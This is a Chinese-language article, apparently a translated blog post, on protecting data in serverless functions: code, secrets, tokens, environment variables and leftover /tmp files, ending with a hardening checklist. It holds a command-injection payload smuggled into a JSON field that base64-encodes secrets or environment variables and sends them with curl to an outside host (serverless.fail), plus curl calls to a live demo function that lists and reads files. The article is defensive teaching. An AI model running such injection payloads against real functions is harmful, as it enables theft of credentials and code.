我们都听说过重大的数据泄露事件，比如最近的数据泄露——5000万Facebook用户数据遭到泄露。虽然隐私受到损害的通常是最终用户，但公司的成本也是非常高昂的。在极端情况下，数据泄露甚至可能导致公司关门大吉。
这方面最好的一个例子就是Code Spaces，一家前SaaS提供商，可以通过Amazon Elastic Compute Cloud的控制面板进行访问。黑客“……删除了所有EBS快照、S3存储桶、所有AMI、许多EBS实例和多个机器实例”，最终导致了这家基于AWS的公司的倒闭。
如果您自认为“嗯，这些我都知道。但是，对于无服务器架构来说，我最想知道事情到底有哪些不同呢?”，好吧，这说明你真是来对了地方。
实际上，针对Code Spaces的攻击事件发生在2014年，那时，“无服务器”的概念还没有出现。然而，其中的某些云服务和资源(例如S3 )却是当今无服务器解决方案中的基本组成部分。如果在此基础上再加入几个函数，然后重新排列一些字母(我的意思是AMI→IAM，清楚了吧?)，并添加一些由三个字母组成的缩写(例如EFS、SQS、SES等)，那么，它们面临的风险其实是一样的。如果数据没有得到很好的保护，肯定会面临巨大的风险。
现在，您可能会说“那又怎样，即使面对同样的攻击，但是别忘了，我们还有许多其他的数据源”。是的，这句话也有一定的道理。但是，我们现在必须从不同的角度来全盘考虑。
首先，也许是更相似的一个方面，那就是对于数据的处理。我们必须为静态和传输中的数据提供安全保护。
我们需要为云存储、备份或数据库中的敏感数据提供加密处理。我们的服务提供商通常会提供相应的工具，以帮助我们轻松、正确的完成这些任务。我们可以使用他们提供的KMS/Key Vault来安全地存储数据。此外，我们还要确保资源配置的正确性，这样就不会出现大的泄漏事故，至少不会引起公司倒闭。当然，一定要确保不要将密钥泄漏到代码存储库或任何其他可能最终落入攻击者手中的地方。
对于传输中的数据，只需确保所有连接都使用了TLS(当我们调用提供商的服务时，这些都是其默认的设置)即可。
其次，也是最有趣的部分，那就是我们新的无服务器运行时环境中的数据。如果我们发现自己的/etc/passwd和/etc/shadow文件遭受了攻击，我们会不会惊恐万分?无论是在我们的服务器中，还是在云中(例如EC2)，都是够吓人的。不过，在无服务器架构中，世道已经变了，这些已经不再敏感了。我甚至会考虑把它们直接交给攻击者，如果他们的态度好一点的话。事实上，的确如此。
这是为什么呢?因为，这些安全问题现在已经是服务提供商操心的事情了，并且，我们的函数是在通用环境中运行的。
那么，我们需要保护的到底是什么呢?这是最重要的问题。其实，答案很简单，但对于不同的提供商来说，保护对象可能会有所不同。
A.我们的代码
我们可能没有服务器，但我们的代码却是存储在云存储或云存储库中的(当然，这些都不在我们的职责范围内)，并且，它们是随函数的运行时环境一起提供的。当然，具体的存储位置取决于运行时和供应商。
例如：在AWS NodeJS中，您可以在当前目录(./)中找到自己的代码，同时，还可在GCP中找到自己的Python代码，这就与AWS上的位置有所不同(/var/task)。这些方面的知识，将留给读者自己去探索。现在，请使用以下GCP函数在任意文件或目录中运行cat和ls命令。
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
B.我们的机密信息
同样，这也随服务供应商的不同而有所不同。但是，如果我们以AWS为例，那么您需要保护两部分的机密信息。第一部分，属于无法控制，却又必须面对的信息，其中包含自己函数方面的信息，例如其内存配置、日志组名称、版本，等等。但是，最重要的是函数的令牌(token)。
这些令牌代表着该函数相对于该帐户的权限。因此，如果该函数对帐户具有为所欲为的权限的话(大多数情况下都是这样)，比如扫描数据库或编辑存储桶这类的权限的话，那么，它们一旦落入攻击者的手中，就会带来巨大的灾难。攻击者甚至不必使用您的函数，只需用他们自己的计算机上的令牌，就能运行任意的aws cli命令，因为aws配置文件stolen_keys中存放有被盗令牌(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN)：
无论我们喜欢与否，这些令牌都是存在的，所以，我们需要确保对函数的权限加以控制，只要能够满足完成它们的相应操作就可以了，最好多一点都不要给它们。如果函数需要从S3bucket读取数据的话，务必确保只赋予该函数从特定bucket或任何相关资源读取数据的权限。
我们要控制的部分是作为环境变量传递给函数的那些我们自己的机密信息。它们都应该通过同样的方式访问;通过代码或系统进程调用它们。如果它们包含敏感信息，则应考虑对它们进行加密保护。这样，系统进程将无法看到它们的实际值(请回顾一下env的屏幕截图)。但是，如果该函数存在代码注入漏洞，那么攻击者则可以直接运行读取其值的代码。
- ENCRYPTED = os.environ['third_party_api_key']
- DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
C.我们的文件
在无服务器环境中，除了/tmp文件夹之外，文件系统都应该是只读的;/tmp文件夹是应用程序存放自身文件的位置(如果有的话)。让我再次使用俺的通灵能力，来指出您现在的想法……无服务器的环境是不是临时的，所有的文件都被删除后，该函数执行完其代码了吗?嗯，这种想法并非完全错误，至少对了一部分，但并非绝对正确。只有当该函数保持空闲状态一段时间(在AWS上大约为4分钟)时，该函数的环境才会被完全删除。但是，如果在该时间范围内至少被调用一次，它很可能会进入与以前完全相同的环境中。当然，我们不敢打包票，但在这个时间内，通常会有一些事件出现。当然，这是出于性能的考虑。
如果您的函数是易受攻击的，并且使用了包含敏感信息的文件，那么它的数据很可能会被攻击者所窃取。为了演示其内在原理，不妨回顾一下前面给出的两个curl命令。实际上，这两个调用都会将数据(base64编码)写入/tmp/b64文件。
如果先运行“ls”调用的话，可以看到/out/b64文件的大小为252字节。但是，如果先运行“cat”调用，然后再运行ls命令的话，则会看到文件大小会有所不同，它会变为1496字节。这意味着“ls”调用的输出结果显示的是“cat”调用的输出内容。当然，如果再次运行“ls”调用，看到的数字将是252，因为上一个调用是“ls”。
我们什么时候需要担心这个安全问题呢?如果我们的代码含有任何类型的代码注入漏洞，那就要倍加小心了;不管问题出现在进程还是表达式api (例如eval )中，也无论到底是开发人员本身还是依赖库造成的，攻击者都可以访问和/或修改我们的敏感数据。例如，假设我提供给您的函数带有这种漏洞，比方说可以通过json值注入命令。那么，攻击者只需：
- --data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}'
其中$secret的值可以是“cat main.py”，这样就可以获取我们的代码。其中，“env”，表示从环境变量中窃取令牌和机密信息。或者，“cat/tmp/leftover.file”，表示在/tmp文件夹下没有提供安全保护措施的敏感文件。
我们已经试过了，对吧?上面的命令会输出机密信息，将其编码为base64形式，并将其发送到攻击者指定的位置(例如serverless.fail)。现在，他们要做的就是破解它，然后大干一场!这样，您就有机会登上新闻头版了……开个玩笑。
总而言之，我们该如何应对呢?下面，我们简单总结一下:
- 对于敏感数据，除非绝对必要，否则不要存储。
- 始终为静态和传输过程中的敏感数据提供严格的保护措施。尽可能使用基础架构供应商提供的加密和密钥管理服务来存储数据、机密信息和环境变量。· 避免在代码存储库和任何其他共享位置存放密钥。
- 通过限制函数的权限来减小攻击面。
- 进行代码审查和静态分析，以找出代码中的漏洞。
- 监控依赖代码库的安全问题，以避免将已知漏洞引入我们自己的应用程序。
- 使用完毕后，从/tmp中删除相关的敏感文件。
